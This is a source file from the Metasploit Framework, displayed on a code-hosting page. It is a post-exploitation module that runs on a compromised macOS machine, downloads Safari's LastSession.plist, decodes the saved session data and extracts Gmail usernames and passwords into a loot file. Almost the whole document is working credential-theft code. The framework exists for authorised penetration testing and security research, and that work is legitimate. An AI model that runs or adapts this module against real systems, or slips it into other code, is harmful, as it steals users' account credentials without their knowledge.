Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/safari_lastsession.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OSX Gather Safari LastSession.plist',15'Description' => %q{16This module downloads the LastSession.plist file from the target machine.17LastSession.plist is used by Safari to track active websites in the current session,18and sometimes contains sensitive information such as usernames and passwords.1920This module will first download the original LastSession.plist, and then attempt21to find the credential for Gmail. The Gmail's last session state may contain the22user's credential if his/her first login attempt failed (likely due to a typo),23and then the page got refreshed or another login attempt was made. This also means24the stolen credential might contain typos.25},26'License' => MSF_LICENSE,27'Author' => [ 'sinn3r'],28'Platform' => [ 'osx' ],29'SessionTypes' => [ 'meterpreter', 'shell' ],30'References' => [31['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']32]33)34)35end3637#38# Returns the Safari version based on version.plist39# @return [String] The Safari version. If not found, returns ''40#41def get_safari_version42vprint_status("#{peer} - Checking Safari version.")43version = ''4445f = read_file('/Applications/Safari.app/Contents/version.plist')46xml = begin47REXML::Document.new(f)48rescue StandardError49nil50end51return version if xml.nil?5253xml.elements['plist/dict'].each_element do |e|54if e.text == 'CFBundleShortVersionString'55version = e.next_element.text56break57end58end5960version61end6263#64# Converts LastSession.plist to xml, and then read it65# @param filename [String] The path to LastSession.plist66# @return [String] Returns the XML version of LastSession.plist67#68def plutil(filename)69cmd_exec("plutil -convert xml1 #{filename}")70read_file(filename)71end7273#74# Returns the XML version of LastSession.plist (text file)75# Just a wrapper for plutil76#77def get_lastsession78print_status("#{peer} - Looking for LastSession.plist")79plutil("#{expand_path('~')}/Library/Safari/LastSession.plist")80end8182#83# Returns the <array> element that contains session data84# @param lastsession [String] XML data85# @return [REXML::Element] The Array element for the session data86#87def get_sessions(lastsession)88session_dict = nil8990xml = begin91REXML::Document.new(lastsession)92rescue StandardError93nil94end95return nil if xml.nil?9697xml.elements['plist'].each_element do |e|98found = false99e.elements.each do |e2|100next unless e2.text == 'SessionWindows'101102session_dict = e.elements['array']103found = true104break105end106107break if found108end109110session_dict111end112113#114# Returns the <dict> session element115# @param xml [REXML::Element] The array element for the session data116# @param domain [Regexp] The domain to search for117# @return [REXML::Element] The <dict> element for the session data118#119def get_session_element(xml, domain_regx)120dict = nil121122found = false123xml.each_element do |e|124e.elements['array/dict'].each_element do |e2|125next unless e2.text =~ domain_regx126127dict = e128found = true129break130end131132break if found133end134135dict136end137138#139# Extracts Gmail username/password140# @param xml [REXML::Element] The array element for the session data141# @return [Array] [0] is the domain, [1] is the user, [2] is the pass142#143def find_gmail_cred(xml)144vprint_status("#{peer} - Looking for username/password for Gmail.")145gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)146return '' if gmail_dict.nil?147148raw_data = gmail_dict.elements['array/dict/data'].text149decoded_data = Rex::Text.decode_base64(raw_data)150cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)&signIn/).flatten151user, pass = cred.map { |data| Rex::Text.uri_decode(data) }152153return '' if user.blank? || pass.blank?154155['mail.google.com', user, pass]156end157158#159# Runs the module160#161def run162cred_tbl = Rex::Text::Table.new({163'Header' => 'Credentials',164'Indent' => 1,165'Columns' => ['Domain', 'Username', 'Password']166})167168#169# Downloads LastSession.plist in XML format170#171lastsession = get_lastsession172if lastsession.blank?173print_error("#{peer} - LastSession.plist not found")174return175else176p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')177print_good("#{peer} - LastSession.plist stored in: #{p}")178end179180#181# If this is an unpatched version, we try to extract creds182#183=begin184version = get_safari_version185if version.blank?186print_warning("Unable to determine Safari version, will try to extract creds anyway")187elsif version >= "6.1"188print_status("#{peer} - This machine no longer stores session data in plain text")189return190else191vprint_status("#{peer} - Safari version: #{version}")192end193=end194195#196# Attempts to convert the XML file to an actual XML object, with the <array> element197# holding our session data198#199lastsession_xml = get_sessions(lastsession)200unless lastsession_xml201print_error('Cannot read XML file, or unable to find any session data')202return203end204205#206# Look for credential in the session data.207# I don't know who else stores their user/pass in the session data, but I accept pull requests.208# Already looked at hotmail, yahoo, and twitter209#210gmail_cred = find_gmail_cred(lastsession_xml)211cred_tbl << gmail_cred unless gmail_cred.blank?212213unless cred_tbl.rows.empty?214p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')215print_good("#{peer} - Found credential saved in: #{p}")216print_line217print_line(cred_tbl.to_s)218end219end220end221222223